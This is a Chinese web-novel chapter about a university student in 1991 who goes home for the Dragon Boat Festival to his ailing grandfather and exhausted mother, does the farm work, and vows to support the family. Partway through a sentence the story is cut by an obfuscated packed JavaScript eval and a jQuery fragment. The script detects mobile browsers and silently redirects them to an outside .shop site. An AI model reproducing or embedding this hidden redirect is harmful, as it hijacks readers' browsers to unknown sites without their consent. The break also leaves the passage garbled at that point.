一九九一年的端午，来得仓促又潮湿。
省城的暮春彻底落幕，入夏的风裹挟着闷润的水汽，日日漫过整座城市。梧桐树叶长得铺天盖地，浓绿叠翠，遮住校园整条林荫道，日光透过叶隙碎落下来，斑斑驳驳，燥热渐起。空气里没有了春日的温柔，多了盛夏来临前的沉闷压抑，细雨时不时落一场，绵绵软软，缠缠不绝。
大学迎来了开春后的第一个短假期，端午三天小长假。
九十年代的大学假期朴素简单，没有繁复的出行规划，没有远途的游玩消遣，多数外地学子要么留校休憩、查漏补缺，要么结伴逛遍省城街巷，松弛紧绷数月的课业神经。本地的学生大多早早收拾行囊，归乡过节，寝室楼道早早变得空旷大半。
室友早早约好了结伴去省城江边游园，买好了零食，备好了相机，满心欢喜规划着三天的闲暇时光。青春的松弛与无忧，写在每个人的眉眼之间。
唯独林山，第一时间收拾好了简单的行囊，敲定了归乡的路程。
自上次收到家书，得知爷爷旧疾复发、家中重担全压在母亲身上后，他心底的牵挂与愧疚，日夜悬着，从未放下一日。课堂听课、图书馆刷题、兼职劳作，看似一如往常，可夜深人静之时，脑海里总会一遍遍浮现深山老屋、泥泞田埂、母亲躬身劳作、爷爷卧床隐忍的模样。
他放心不下。
短短一封家书的轻描淡写，藏着的是他不敢细想的苦难。春雨缠绵的数十日，无人替力的家，苦苦硬撑的母亲，病痛缠身的爷爷，每念及此，心底便酸涩沉重，压得他喘不过气。
原本他打算熬到暑假再归乡，安稳读完本学期课业。可悬在心头的大石，终究落不下来。三天短假，往返奔波辛苦，路途辗转劳顿，耗费为数不多的积蓄，可他别无选择。
他必须回去，亲眼看看家里的境况，亲手替母亲分担几分辛劳。
室友得知他要连夜赶山路归乡，纷纷出声劝阻。
“就三天假期，来回路上就要耗掉两天，太赶太累了！”
“山里路不好走，下雨天泥泞打滑，不安全，熬到暑假回去多安稳。”
“不如留在学校歇歇，刚好跟着我们出去转转放松下。”
林山只是笑着轻轻摇头，语气笃定温和：“家里有事，得回去一趟。”
他没有细说缘由，不诉苦、不示弱、不博取同情。自从读懂家人半生隐忍的苦难，他便彻底褪去了少年矫情，所有心事沉在心底，所有责任自己扛起。
放假前一日傍晚，结束最后一节专业课，他结清了小饭馆兼职的零散工钱，收拾好一个简单的布包，里面只装两件换洗衣物、几本随身笔记、一点省吃俭用攒下的零钱。没有多余行李，没有多余耽搁，告别室友，独自奔赴省城火车站。
端午返乡的人流依旧拥挤。
短假期的客流混杂着学生、务工、短途旅人，站前广场人声鼎沸，闷热的空气里混杂着汗味、烟火味、车票纸张的味道。林山排队购票、挤车换乘，依旧是无座的短途绿皮，依旧是拥挤嘈杂的车厢。
列车驶出城区，一路向西，奔赴黔东群山。
窗外的风景飞速倒退，城市的高楼、平整街道、繁华烟火一点点褪去，取而代之的是连绵起伏的青山、蜿蜒曲折的河流、层层叠叠的梯田。越靠近家乡，山路越崎岖，雾气越浓重，天地越安静。
一路颠簸，一路风雨，一路沉思。
从黄昏坐到深夜，再从深夜坐到翌日清晨，辗转火车、小巴、农用三轮车，最后踏着淅淅沥沥的端午小雨，独自徒步走完最后的山间泥泞路。
山里的端午，细雨绵绵，雾锁群山。
灰白色的浓雾笼罩整片五老峰，远山隐在雾色深处，若隐若现，近处的山林草木被雨水冲刷得苍翠欲滴，空气里满是潮湿的泥土气息、草木清香。田埂泥泞湿滑，雨水打湿路面，脚印踩下去，便是深深的泥坑，裤脚瞬间沾满黄泥，湿透冰凉。
整条山路寂静无人，只有雨丝簌簌落地的轻响，风吹山林的沙沙声，还有他独自前行的脚步声。
清晨的山村，还未彻底苏醒。炊烟袅袅，雾气沉沉，零星几声鸡鸣犬吠，衬得整片山野愈发静谧幽深。
一路跋涉，满身泥泞，一身疲惫。
当熟悉的木屋轮廓出现在雾色尽头时，林山紧绷多日的心弦，骤然轻轻一颤。
家门依旧是记忆里朴素老旧的模样，黑瓦土墙，木窗木门，屋檐低矮，静静立在青山环抱的山坳里。屋檐下还挂着去年残留的干辣椒、干笋干菜，只是往日整洁利落的院落，此刻隐隐透着几分萧瑟冷清。
往日清晨早早敞开的木门，今日虚掩紧闭。
往日早早起身打扫院落、生火做饭、下地劳作的身影，不见踪迹。
院内柴垛摆放凌乱，地面散落枯枝杂草，无人收拾，檐下的石板台阶积着薄薄雨水，安静得让人心慌。
林山放轻脚步，缓缓推开木门。
屋内昏暗阴凉，没有生火，没有暖意，安静得落针可闻。潮湿的空气混杂着淡淡的草药味、木头霉味，扑面而来，清冷又压抑。
堂屋的火塘早已冷透，没有半点星火，只剩下黑漆漆的炭灰，寂然沉寂。
一眼望去，林山的心底瞬间沉到谷底。
里屋的木板床上，爷爷林守田静静躺着。
往日硬朗挺拔、常年劳作、从不知停歇的老人，此刻侧身蜷缩在床上，薄薄的旧被子盖在身上，脸色苍白憔悴，眉眼黯淡，面颊比数月前消瘦干瘪了许多，鬓角的白发愈发浓密，整个人看着苍老虚弱了不止一点。
听见推门声响，老人费力地睁开双眼，浑浊的目光望过来，看清门口的少年，眼底瞬间掠过惊愕，随即涌上浓烈的欣喜，还有一丝藏不住的局促。
他挣扎着想要起身，四肢僵硬酸痛，腰腹使不上力气，稍稍一动，便是一身虚汗，眉头紧紧蹙起，喉头轻轻闷哼一声。
“山娃？你、你怎么回来了？”爷爷的声音沙哑干涩，微弱无力，带着久病未愈的虚弱，完全没有了往日沉稳厚重的底气。
林山快步走上前，伸手轻轻按住老人的肩头，不让他起身，嗓音微哑：“爷，端午放假，我回来看看。”
近距离看去，才真切看清老人的模样。
他的双手关节肿胀变形，指节粗大僵硬，布满老茧褶皱，因为常年风湿淤积，皮肤暗沉发黑，连抬手、翻身这样简单的动作，都变得无比艰难。整条脊背僵硬僵直，无法正常舒展，长年劳损的腰椎，一旦遇雨受寒，便疼痛难忍。
山里的旧疾，最怕梅雨端午的连阴雨。
湿气入骨，寒邪缠骨，日日煎熬，夜夜难安。
老人怕花钱，怕拖累，硬是撑着不肯去镇上卫生院诊治，不肯抓药调理，硬生生靠着一身老筋骨，死扛着反反复复的病痛。
日复一日，夜复一夜，隐忍煎熬。
林山看着老人虚弱憔悴的模样，看着屋内清冷萧瑟的光景，心口像是被重物狠狠堵住，酸涩、愧疚、心疼，百般情绪翻涌交织，压得他几乎窒息。
家书寥寥数语的“旧疾复发、在家静养”，终究是轻描淡写的遮掩。
真实的境况，远比他想象的，要惨烈百倍。
“你学校课业紧，来回折腾干啥，家里好好的，不用挂念。”爷爷勉强扯出一抹笑意，语气依旧习惯性安稳安抚，哪怕自身病痛缠身，依旧不想让远在千里的孙子忧心分心。
“没事，不累。”林山压下眼底的酸涩，轻声应答。
正说话间，院外传来轻微的脚步声、农具磕碰的声响。
母亲王秀莲披着一件破旧的雨衣，裤脚沾满泥泞，鞋子湿透，浑身带着雨水与泥土的气息，佝偻着身子，扛着一把沉重的锄头，从田埂深处缓缓归来。
天色刚亮，雨还未停，她已经独自一人在田里劳作了大半个清晨。
看见站在堂屋的儿子，母亲瞬间怔住，眼底满是猝不及防的惊讶，随即涌上疲惫又欣喜的笑意，连日劳作积攒的憔悴，瞬间被温柔取代。
“山娃，咋突然回来了？也不提前捎个信，妈也好提前给你做点吃的。”
她匆匆放下锄头，抬手胡乱擦了擦脸上的雨水与汗珠，搓了搓满是泥水、粗糙开裂的双手，语气里满是心疼，“路上淋雨了吧？累坏了吧？”
短短数月未见，母亲肉眼可见地苍老憔悴了许多。
原本就单薄的身子，愈发瘦弱，脊背因为日日独扛重活，压得愈发佝偻。眼底布满疲惫红血丝，面色蜡黄暗沉，双手粗糙开裂，布满新的泥垢与旧的老茧，指腹裂口渗着淡淡的血丝，被雨水泡得发白疼痛。
春耕最苦最累的时节，家里没有劳力，所有耕田、插秧、除草、整地的重活，全部压在她一个妇人肩上。
天不亮下地，天黑才归，沐雨栉风，日夜无休。
一个柔弱山村妇人，硬生生扛下了一家人的生计，扛下了整片田地的劳作，扛下了所有风雨苦难，只为守住这个家，守住他安心读书的底气。
看着母亲满身泥泞、满脸疲惫的模样，林山喉咙发紧，心底的愧疚铺天盖地席卷而来。
他在省城读书、刷题、成长、谋生，虽有辛苦，却无风雨。
他吹着城市的风，看着城市的灯，学着新的知识，见着新的天地。
而他的母亲、他的爷爷，守着贫瘠的深山，守着几亩薄田，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703130|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
替他受尽人间疾苦，替他扛尽风雨风霜。
“妈，我回来帮你干活。”
林山没有多余的煽情话语，没有空洞的安慰，只说了一句最朴实、最真切的话。
从前归家，他还是被家人呵护、被长辈疼爱的少年，归来只管休憩、吃饭、陪伴。
而这一次归来，风起归途，少年彻底长大。
他不再是那个需要家人兜底的孩子，他是这个家唯一的后生，唯一的希望，唯一可以扛起重担的人。
放下布包，他接过母亲手里的农具，放到院角，转身打水洗手，利落生火。
久违的烟火，在沉寂清冷的木屋中，缓缓升起。
他熟练地引火、添柴、烧水煮饭，动作娴熟利落，是刻在骨子里的山村本事。火焰熊熊燃起，暖意渐渐弥散全屋，驱散连日的潮湿阴冷，也驱散了满屋的萧瑟冷清。
母亲站在一旁，静静看着忙碌的儿子，眼底又欣慰又心酸。
半年省城求学，儿子褪去了山野少年的莽撞青涩，眉眼沉稳，举止内敛，褪去稚气，多了成年人的担当稳重。他长高了、沉稳了、懂事了，也默默扛下了太多不该他这个年纪承受的压力与心事。
早饭简单朴素，白粥、咸菜、剩米饭，没有半点过节的丰盛。
一家人围坐在火塘边，安静吃饭，无人多言。
爷爷吃得极少，咀嚼无力，胃口极差，每吃几口便要停顿喘息，病痛常年消磨着他的精气神。即便如此，他依旧强撑着陪家人落座，不愿让家里显得太过冷清。
饭后，雨势稍缓。
林山主动扛起了所有农活。
扛农具、整田埂、清杂草、理秧苗，所有繁重的春耕收尾活计，他一力包揽。不让母亲再沾半点泥水，不让母亲再受半点劳累。
久未干重活的身子，乍然扛起田间劳作，依旧熟稔无比。弯腰、插秧、松土、除草，动作行云流水，刻在骨血里的农活本能，从未生疏。
山间细雨濛濛，冷风拂面，田埂泥水刺骨冰凉。
他躬身站在水田之中，双脚浸泡在冰冷泥水里，脊背笔直，默默劳作，从正午忙到黄昏。汗水混杂雨水，浸透衣衫，浑身泥泞，腰酸背痛，双腿发麻，却从未有半分懈怠、半分抱怨。
从前他怕苦、怕穷、怕泥泞、怕卑微，拼命想要逃离这片土地。
而今他站在这片养育他、困住他、成就他的山野田地间，只剩满心敬畏与愧疚。
这片贫瘠的土地，苦了祖辈，累了父母，唯独成全了他。
傍晚归家，他烧水烧饭、洗衣打扫、收拾院落，将凌乱的屋子打理得干干净净。夜里，他坐在床前，仔细查看爷爷肿胀变形的关节，用温水一点点热敷揉搓。
温热的毛巾敷在老人寒凉僵硬的关节上，缓缓活络气血。
爷爷躺在床上，看着忙碌的孙子，浑浊的眼底泛着温热的水光，低声叹息：“娃，委屈你了，家里帮不上你半点，反倒一直拖累你。”
一句拖累，压得林山心口发疼。
他轻轻摇头，声音沉稳坚定：“爷，不拖累，以前你们养我，现在我撑家，本该如此。”
夜色渐深，山村彻底寂静。
雨停风歇，雾色渐散，远山安静沉卧，星空隐隐透出微光。
木屋火塘余温袅袅，屋内灯火温柔，时隔数月，家里终于有了久违的烟火暖意与人气。
短短三日归乡，太短，太匆匆。
不足以替家人熬过所有苦难，不足以抚平祖辈经年的病痛，不足以卸下母亲肩头的重担。
却足以让彻底长大的少年，看清生活最真实的底色，扛起属于自己的责任。
风起归途，归的是故乡，长的是人心。
他终于彻底明白，所有的读书苦、谋生累、漂泊孤独、人间落差，在家人半生的隐忍苦难面前，都微不足道。
深夜，林山坐在屋檐下，望着沉沉夜色、静默青山，心底立下最沉的誓言。
他日学成，必定归来报恩。
必定让家人远离劳苦、远离病痛、远离清贫。
必定凭一己之力，撑起重疾年迈的祖辈、辛劳半生的母亲，撑起初寒微暖的家门。
三天假期转瞬即逝，归城的汽笛终将响起。
短暂的归途温暖治愈，也更坚定了他前路奔赴的决心。
前路风雨再大，漂泊再苦，他都无所畏惧。
因为他的身后，有至亲守望，有故土牵挂，有必须奔赴、必须翻盘、必须守护的人间值得。
风起山野，少年归来，褪去稚色，终立担当。
从此，求学之路不再只为自己，更为故里山河，更为所爱家人。